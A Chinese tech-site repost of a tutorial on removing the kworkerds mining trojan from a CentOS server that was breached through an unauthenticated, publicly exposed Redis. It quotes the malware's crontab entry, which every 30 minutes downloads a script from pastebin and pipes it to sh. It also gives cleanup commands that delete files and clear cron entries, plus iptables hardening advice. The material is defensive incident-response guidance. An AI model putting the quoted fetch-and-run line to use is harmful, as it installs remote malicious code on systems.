centos kworkerds木马解决方案
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了centos kworkerds木马解决方案,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含2230字,纯文字阅读大概需要4分钟。
内容图文
![centos kworkerds木马解决方案](/upload/InfoBanner/zyjiaocheng/981/347f1d39fa024cfcbcc8de6e70016dc5.jpg)
入侵最根本原因:
redis没有设置密码,并且开放任意ip可以通过6379接口登录。
入侵导致的情况:
CPU使用率100% ,但是 top指令 如下:
top - 14:54:32 up 105 days, 21:29, 1 user, load average: 6.97, 6.95, 7.01
Tasks: 98 total, 2 running, 96 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.8 us, 0.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8010196 total, 170836 free, 4044724 used, 3794636 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 3613484 avail Mem
进程的占用都是很低的,但是 %Cpu(s): 99.8 us
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27988 root 20 0 2397000 141676 2996 S 1.0 1.8 1016:05 beam.smp
4020 root 20 0 131976 11444 5388 S 0.3 0.1 134:44.25 AliYunDun
5008 root 20 0 3681584 105168 6588 S 0.3 1.3 20:48.23 java
5990 root 20 0 4772176 709264 6796 S 0.3 8.9 10:44.94 java
7426 root 20 0 3526796 571668 6960 S 0.3 7.1 9:46.08 java
19175 root 20 0 3540288 701796 6668 S 0.3 8.8 333:28.61 java
1 root 20 0 43604 3584 2012 S 0.0 0.0 4:06.13 systemd
需要如下处理:
-
运行crontab -l 发现有定时任务在执行
*/30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh -
执行 vim /etc/ld.so.preload 删除其中内容 并且执行 ldconfig
-
再次执行top 就会发现被隐藏的进程 kworkerds ,kill -9 该进程号即可。
修复方式(阿里云建议):
-
限制redis连接的ip
只允许某些特定的ip访问redis
修改iptables内容
将
-A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
修改为指定ip访问
-A INPUT -s 172.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
注意:
redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip -
运行以下代码来清除所有入侵内容
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9 echo "" > /etc/cron.d/root echo "" > /etc/cron.d/system echo "" > /var/spool/cron/root echo "" > /var/spool/cron/crontabs/root rm -rf /etc/cron.hourly/oanacron rm -rf /etc/cron.daily/oanacron rm -rf /etc/cron.monthly/oanacron rm -rf /bin/httpdns sed -i '$d' /etc/crontab sed -i '$d' /etc/ld.so.preload rm -rf /usr/local/lib/libntp.so ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9 rm -rf /tmp/.tmph rm -rf /bin/kworkerds rm -rf /tmp/kworkerds rm -rf /usr/sbin/kworkerds rm -rf /etc/init.d/kworker chkconfig --del kworker
-
继续删除文件
去tmp目录删除多余文件,同时删除隐藏文件 ls -al
cd /usr/local/lib下 rm -rf libjdk.so
内容总结
以上是互联网集市为您收集整理的centos kworkerds木马解决方案全部内容,希望文章能够帮你解决centos kworkerds木马解决方案所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。